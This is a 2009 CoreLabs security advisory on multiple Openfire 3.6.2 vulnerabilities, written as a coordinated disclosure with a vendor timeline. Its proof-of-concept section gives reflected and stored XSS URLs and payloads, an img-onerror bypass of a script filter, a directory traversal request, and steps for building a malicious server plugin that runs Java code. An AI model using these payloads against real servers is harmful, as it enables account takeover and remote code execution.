CORE-2008-1128: Openfire multiple vulnerabilities
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs/
Openfire multiple vulnerabilities
1. *Advisory Information*
Title: Openfire multiple vulnerabilities
Advisory ID: CORE-2008-1128
Advisory URL:
http://www.coresecurity.com/content/openfire-multiple-vulnerabilities
Date published: 2009-01-08
Date of last update: 2009-01-07
Vendors contacted: Jive Software
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Cross site scripting (XSS)
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 32935, 32937, 32938, 32939, 32940, 32943, 32944, 32945
CVE Name: N/A
3. *Vulnerability Description*
Openfire is a real time collaboration (RTC) server licensed under the
Open Source GPL. It uses the widely adopted open protocol for instant
messaging XMPP, also called Jabber. Multiple cross-site scripting
vulnerabilities have been found, which may lead to arbitrary remote code
execution on the server running the application due to unauthorized
upload of Java plugin code.
4. *Vulnerable packages*
. Openfire 3.6.2
5. *Non-vulnerable packages*
. Openfire 3.6.3
6. *Vendor Information, Solutions and Workarounds*
Openfire will release a fixed version through their community web site [1].
7. *Credits*
These vulnerabilities were discovered and researched by Federico Muttis,
from CORE IMPACT's Exploit Writing Team (EWT), Core Security Technologies.
8. *Technical Description / Proof of Concept Code*
Multiple cross-site scripting vulnerabilities have been found in
Openfire, which may lead to arbitrary remote code execution on the
server running Openfire server due to unauthorized upload of Java plugin
code.
8.1. *Reflected XSS Vulnerabilities*
Several cross site scripting (XSS) were detected that lead to cross site
request forgery (XSRF), which enable arbitrary remote code execution on
the server running the application. These vulnerabilities are network
exploitable but the victim must voluntarily interact with the attack
mechanism. The victim must be an authorized user to deploy the complete
attack.
We identified insufficient sanitization of several parameters in several
scripts. In the case of 'logviewer.jsp' (BID 32935), 'group-summary.jsp'
(BID 32937), 'user-properties.jsp' (BID 32938) and 'audit-policy.jsp'
(BID 32939) there is no sanitization at all. In 'log.jsp' (BID 32940)
there is a filter against '<script>', which is not enough, because
several other XSS vectors exist, like the one we show below.
Proof of Concept 'alert()' exploits follow.
[BID 32935] Insufficient sanitization in 'logviewer.jsp', parameter 'log':
/-----------
http://vulnsite.com/logviewer.jsp?clearLog=false&emailLog=false&lines=&log=%22/%3E%3Cscript%3Ealert(%27xss%27)%3C/script%3E%3C!--&markLog=false&mode=desc&refresh=&saveLog=false
- -----------/
[BID 32937] Insufficient sanitization in 'group-summary.jsp', parameter
'search':
/-----------
http://vulnsite.com/group-summary.jsp?search=%22%3E%3Cscript%3Ealert('xss')%3C/script%3E<!--
- -----------/
[BID 32938] Insufficient sanitization in 'user-properties.jsp',
parameter 'username':
/-----------
http://vulnsite.com/user-properties.jsp?username=%3Cscript%3Ealert(%27xss%27)%3C/script%3E
- -----------/
[BID 32939] Insufficient sanitization in 'audit-policy.jsp', the
vulnerable parameters are: 'logDir', 'logTimeout', 'maxDays',
'maxFileSize' and 'maxTotalSize'.
/-----------
http://vulnsite.com/audit-policy.jsp?maxTotalSize=%22%3E%3Cscript%3Ealert(%27xss%27)%3C/script%3E%3C!--&update=Save%20Settings
- -----------/
[BID 32940] Insufficient sanitization in 'log.jsp', '<script>' gets
filtered out but vectors like '<img>' still work:
/-----------
http://vulnsite.com/log.jsp?log=%3Cimg%20src=%27%27%20onerror=%27javascript:alert(%22xss%22)%27%3E
- -----------/
8.2. *Arbitrary Remote Code Execution*
Once the Openfire administrator's browser is executing arbitrary
Javascript and his/her session cookies have been stolen, it is trivial
to execute arbitrary code as there is no need to re-authenticate to
upload a new server plugin. Secure web applications generally
re-authenticate the administrator when performing such sensitive tasks.
In this case, however, you can simply upload a new plugin, without
re-authentication, with arbitrary Java code on the constructor. The
constructor will be called when the plugin is uploaded.
In order to create a potentially malicious plugin that executes
arbitrary Java code on the context of the server, you need to download
the Openfire source [2] and the apache ant tool [3]. Uncompress the
Openfire source and install the ant tool. You can modify any existing
plugin, add this code and call it from the constructor:
/-----------
public void start() {
try {
Runtime.getRuntime().exec("C:\\WINDOWS\\system32\\calc.exe");
} catch (Exception ex) {
ex.printStackTrace();
}
}
- -----------/
Then navigate to Openfire source 'build/' directory and execute 'ant
plugins', this will build all the plugins. You'll end up with a new file
'work/plugins/yourplugin.jar' which is now infected.
8.3. *Stored XSS Vulnerabilities*
[BID 32943] The page 'server-properties.jsp' displays the properties
without sanitization, an exploit triggered via a reflected XSS
vulnerability could add a new property with a name like
'"><script>alert(/xss/.source)</script>', which will be triggered every
time the administrator uses the 'server-properties.jsp' or
'security-audit-viewer.jsp'.
[BID 32944] The page 'muc-room-summary.jsp' displays properties edited
in 'muc-room-edit-form.jsp', for example, room name
'<script>alert('xss')</script>'.
These vulnerabilities can be used to ensure the persistence of any attack.
8.4. *Directory traversal*
[BID 32945] Insufficient validation in 'log.jsp' allows remote attackers
to read any .log file that the user running Openfire has access to. The
vulnerable code located in 'log.jsp' is the following:
/-----------
File logDir = new File(Log.getLogDirectory());
String filename = (new
StringBuilder()).append(log).append(".log").toString();
File logFile = new File(logDir, filename);
- -----------/
Proof of Concept:
/-----------
log.jsp?log=..\..\..\windows\debug\netsetup
- -----------/
The string '.log' will be appended to the filename, so this attack only
works to read '.log' files,
9. *Report Timeline*
. 2008-12-04: Core notifies the vendor that vulnerabilities were found
and that an advisory draft is available. Publication scheduled for
December 15th.
. 2008-12-04: Vendor acknowledges and asks for a copy of the advisory's
draft.
. 2008-12-04: Core sends the vendor a copy of the advisory's draft.
. 2008-12-04: Vendor acknowledges and requests to uphold the publication
of the advisory until the end of January.
. 2008-12-04: Core reschedules the publication for January 27th and
requests a more precise estimate, when available.
. 2008-12-04: Vendor acknowledges the new publication schedule for the
advisory.
. 2008-12-17: Core requests updated information on the patches.
. 2008-12-17: Vendor informs that the vulnerabilities have been patched
and that they are ready to release patches the following week.
. 2008-12-17: Core insists that advisories are published simultaneously
with the patched software releases.
. 2008-12-17: Vendor asks if the advisory will include complete
information on how to possibly exploit the bugs.
. 2008-12-17: Core confirms the vendor that the advisory will include
the complete analysis and all the information available to reproduce the
bugs, giving the users the ability to assess the impact of the
vulnerabilities.
. 2008-12-17: Vendor suggests January 8th, 2009, as the coordinated
release date and requests the future URL of the advisory.
. 2008-12-17: Core says that January 8th, 2009, is an adequate date for
advisory publication.
. 2008-12-22: Core sends the vendor the URL where the advisory will be
published.
. 2008-12-29: Core requests the patched product version number and
confirmation that patches will be published on January 8th 2009.
. 2008-12-29: Vendor confirms publication date and patched version number.
. 2009-01-08: Core publishes advisory CORE-2008-1128.
10. *References*
[1] Openfire http://www.igniterealtime.org/projects/openfire/
[2] Openfire 3.6.2 source
http://www.igniterealtime.org/downloadServlet?filename=openfire/openfire_src_3_6_2.zip
[3] Apache Ant http://ant.apache.org/
11. *About CoreLabs*
CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs.
12. *About Core Security Technologies*
Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.
13. *Disclaimer*
The contents of this advisory are copyright (c) 2009 Core Security
Technologies and (c) 2009 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.
14. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.8 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iEYEARECAAYFAklmORMACgkQyNibggitWa35jgCbByp8LF4bUePcXG2YK1KEiV9G
GYcAn3kpUOvc0f8N1TbJJufmRTCkgqxI
=xHTF
-----END PGP SIGNATURE-----